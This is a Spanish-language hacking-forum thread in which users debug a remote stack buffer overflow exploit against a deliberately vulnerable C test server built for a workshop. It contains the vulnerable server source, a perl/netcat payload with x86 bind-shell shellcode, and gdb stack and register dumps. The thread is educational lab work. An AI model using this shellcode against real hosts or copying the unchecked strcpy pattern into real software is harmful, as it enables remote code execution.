¿ Fallo BoF Remoto Linux ?

Iniciado por Garfield07, 18 Febrero 2011, 01:10 AM

0 Miembros y 2 Visitantes están viendo este tema.

Garfield07

Bueno, después de solucionar el último problema ( y colgarlo ) me he puesto a explotar el dichoso servidor de pruebas que he hecho para el taller. Os vuelvo a remitir el código...

#include <sys/socket.h>
#include <arpa/inet.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <signal.h>
#include <time.h>

int socketfd, newsocket;

int vuln (char *trampa)
{
char buffer [100];
strcpy (buffer, trampa);
}

void shutup (int signal)
{
times ();
printf ("Shutting down...\n\n");
close (newsocket);
close (socketfd);
exit (0);
}

int times ()
{
time_t now=time (0);
struct tm *ahora;
char buffer [40];
ahora=localtime ((const time_t*)&now);
strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("%s   ", buffer);
return 0;
}

int main (int argc, char *argv [])
{
time_t now=time (0);
struct tm *ahora;
char hora [40];
ahora=localtime ((const time_t*)&now);
strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);

if (getuid()!=0)
{
printf ("This proccess must be run by root.\n\n");
return 1;
}
if (argc<2)
{
printf ("Use: %s <PORT>\n\n", argv [0]);
return 1;
}
int cont;
struct sockaddr_in client, host;
char buffer [1024];
int size=sizeof (client);

socketfd=socket (2, 1 ,  0);
host.sin_family=AF_INET;
host.sin_port=htons (atoi (argv [1]));
host.sin_addr.s_addr=0;
bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));

listen (socketfd, 3);

times ();
printf ("Starting up...\n\n");

signal (SIGTERM, shutup);
signal (SIGINT, shutup);

while (1)
{
newsocket=accept (socketfd, (struct sockaddr*)&client, &size);

times ();
printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));

cont=recv (newsocket, &buffer, 1024, 0);
while (cont>2)
{
times ();
buffer [cont-1]='\0';
printf ("RECV %d bytes: %s\n", cont, buffer);

vuln (buffer);
cont=recv (newsocket, &buffer, 1024, 0);
}
times ();
printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
close (newsocket);
}
close (socketfd);
return 0;
}



Y os remito el comando que estoy usando para explotar el fallo... [8 nops + 92 shellcode + 4 ret  + 1 null']

juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf" . "\x00"' | nc -vv localhost 5555555

El null lo pongo porque en la línea ...

while (cont>2)
{
times ();
--> buffer [cont-1]='\0';
printf ("RECV %d bytes: %s\n", cont, buffer);

... el último byte (se programó así por el \n de muchos clientes) se borra.


El caso es que compilo sin ninguna protección...

juanra@Juanra:~$ sudo gdb -q ./serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 01:05:14
18/02/2011 01:05:14   Starting up...

18/02/2011 01:05:21   Got connection from 127.0.0.1:45163
18/02/2011 01:05:21   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                          Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb) x/16x 0xbffff801
0xbffff801: 0x00000000 0x07000000 0x04000000 0x07000000
0xbffff811: 0x1c000000 0x10bffff8 0x02000000 0x00697a00
0xbffff821: 0x02000000 0x01000000 0x00000000 0xc4000000
0xbffff831: 0x00bffff7 0x5c000000 0x00bffff8 0xc4000000
(gdb) i r eip
eip            0xbffff801 0xbffff801
(gdb)

Fallo de segmentación al principio de la pila. Preguntas: ¿Por qué? ¿Cómo lo arreglo?
Llevo toda la noche pensando, pero no se me ocurre nada... Qué puede ser?

PD: Si os hace falta más información preguntadme.
Gracias! Un saludo
Sagrini


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

M3st4ng

Hola!

He probado tu código con una shellcode que tenia yo y me ha funcionado:

SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:49:25
18/02/2011 20:49:25   Starting up...

18/02/2011 20:49:29   Got connection from 127.0.0.1:33672
18/02/2011 20:49:29   RECV 112 bytes: ��������������������������������������������������������^�1��F�F
                                                                                                       �
                                                                                                        ����V
                                                                                                             1ۉ�@̀�����/bin/sh�����������
process 3640 is executing new program: /bin/dash


Me da la sensación de que no llegas a sobreescribir completamente el RET. Para hacer overflow necesitas 109 bytes y tu le estas pasando 104:


$ perl -e 'print "A"x108' | nc -vv localhost 16005

SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:53:00
18/02/2011 20:53:00   Starting up...

18/02/2011 20:53:16   Got connection from 127.0.0.1:54045
18/02/2011 20:53:16   RECV 108 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()


Con 108 no llego a sobreescribir pero con 109 si:


$ perl -e 'print "A"x109' | nc -vv localhost 16005

Starting program: /home/javi/programacion/pruebas/BOF_remoto/a.out 16005
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 20:58:36
18/02/2011 20:58:36   Starting up...

18/02/2011 20:58:43   Got connection from 127.0.0.1:39784
18/02/2011 20:58:43   RECV 109 bytes: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()


Revisa el comando que lanzas contra el servidor. Ahora voy a probar tu shellcode.

Garfield07

Hola Javi!

Pues no sé, esta noche vuelvo a la carga  :-\ ... ¿Te funciona con mi comando exacto?
Sí, pero es que 100 buffer + 4 EBP + 4 ESP = 108 xD Luego hay que restarle cuatro pues al volver se restan cuatro bytes de la pila (ret). Finalmente... 104.

Eso último me extraña, no sé de dónde sale este último byte... Ahh xD del
buffer [cont-1]='\0';
No me había dado cuenta de que esto también me afectaba en ese ámbito... xD

Gracias! Seguiré probando...
PD: Esto es un code para ir preparando el taller, no el code que vamos a usar en el taller. Nadie es taaaan despistado jaja...


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

M3st4ng

Hola de nuevo!

He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.

Saludos

Garfield07

#4
Cita de: M3st4ng en 18 Febrero 2011, 21:40 PM
Hola de nuevo!

He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.

Mmm, puede que la haya recortado mal, luego la miro, pero no es mía :P
_________________________________________________________________________
Vale, modifico, un detallito...

Al activar el randomize_va_space...

juanra@Juanra:~$ sudo gdb -q serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:09:38
19/02/2011 13:09:38   Starting up...

19/02/2011 13:09:41   Got connection from 127.0.0.1:46633
19/02/2011 13:09:41   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                          Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff7c4 in ?? ()
(gdb)

RET correcto.

Y al desactivar...

(gdb) r 31337
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:10:53
19/02/2011 13:10:53   Starting up...

19/02/2011 13:10:56   Got connection from 127.0.0.1:60248
19/02/2011 13:10:56   RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
                          Rh//shh/bin��R��S��̀������������

Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb)


Ambos corren así:

juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf"x3 . "\x00"' | nc -vv localhost 31337


¿? Voy a mirar a ver la shellcode...
_________________________________________________________________________
Modf: La shellcode va perfectamente :P


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

M3st4ng

#5
Hola!

He estado todo el finde fuera y no me ha dado tiempo a mirar mucho. Lo que sí he hecho es reproducir el problema que tú tienes, parece que la shellcode se jode  por algún motivo que aún no he descubierto.
A priori todo el copiado del buffer lo hace bien:



0xbffff180: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1a0: 0x90909090 0x90909090 0x9958666a 0x5243db31
0xbffff1b0: 0x026a016a 0x80cde189 0x58666a96 0x68665243
0xbffff1c0: 0x5366697a 0x106ae189 0xe1895651 0x66b080cd
0xbffff1d0: 0x56534343 0x80cde189 0x524366b0 0xe1895652
0xbffff1e0: 0x6a9380cd 0x3fb05902 0x794980cd 0x520bb0f9
0xbffff1f0: 0x732f2f68 0x622f6868 0xe3896e69 0x53e28952
0xbffff200: 0x80cde189 0xbffff678 0xbffff1a0


Luego da un execepción y veo que la pila se ha modificado justo donde tengo la shellcode:

0xbffff180: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff190: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1a0: 0x90909090 0x90909090 0x9958666a 0x5243db31
0xbffff1b0: 0x026a016a 0x80cde189 0x58666a96 0x68665243
0xbffff1c0: 0x5366697a 0x106ae189 0xe1895651 0x66b080cd
0xbffff1d0: 0x56534343 0x80cde189 0x524366b0 0x00000000
0xbffff1e0: 0x00000000 0x00000007 0x00000004 0x00000007
0xbffff1f0: 0xbffff1f8 0x00000010 0x697a0002 0x00000000
0xbffff200: 0x00000002 0x00000001 0x00000000 0xbffff200


Como se puede ver el EIP esta intentando ejecutar la instrucción que esta en la dir 0xbffff1dd. En esa dir habia código de nuestra shellcode que ha sido modificada.

Program received signal SIGSEGV, Segmentation fault.
0xbffff1dd in ?? ()
(gdb) info r
eax            0x66 102
ecx            0xbffff1e4 -1073745436
edx            0x0 0
ebx            0x5 5
esp            0xbffff1dc 0xbffff1dc
ebp            0xbffff678 0xbffff678
esi            0x7 7
edi            0x0 0
eip            0xbffff1dd 0xbffff1dd
eflags         0x10206 [ PF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51


Seguirí investigando

Garfield07

El fallo creo que podría estar en la shellcode... Aunque no me sirva para este caso le voy a meter una local, a ver si se ejecuta xD
Si funciona es que el fallo está en la shellcode y listo...

Iré modificando xD


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

Garfield07

Perdonad el doble-post, pero... Lo conseguí!
En realidad era una tontería... \x00 se considera como byte nulo para strlen, por lo que no se contaba y me modificaba de todos modos una parte del exploit. Todo se solucionaba cambiando el byte nulo por cualquier otra cosa... xD xD xD

xD Ohh... Un detallito era que en el GDB me funciona, pero fuera no. Eso es que el ret me cambia al salir :P Ahora voy a meterle la buena shellcode y listo xD


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

M3st4ng

Hola!

Pues a mi me sigue cascando. La shellcode que uso esta bien porque la he probado en local y funciona perfectamente. No entiendo por qué narices se me modifica la shellcode.....

Garfield07

A mi lo que me falla es mi shellcode. He hecho una que printa AAAA y funciona, ahora, la del remoto no va... Ahora voy a mirar el desensamblado a ver a qué amiguito llama :P


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo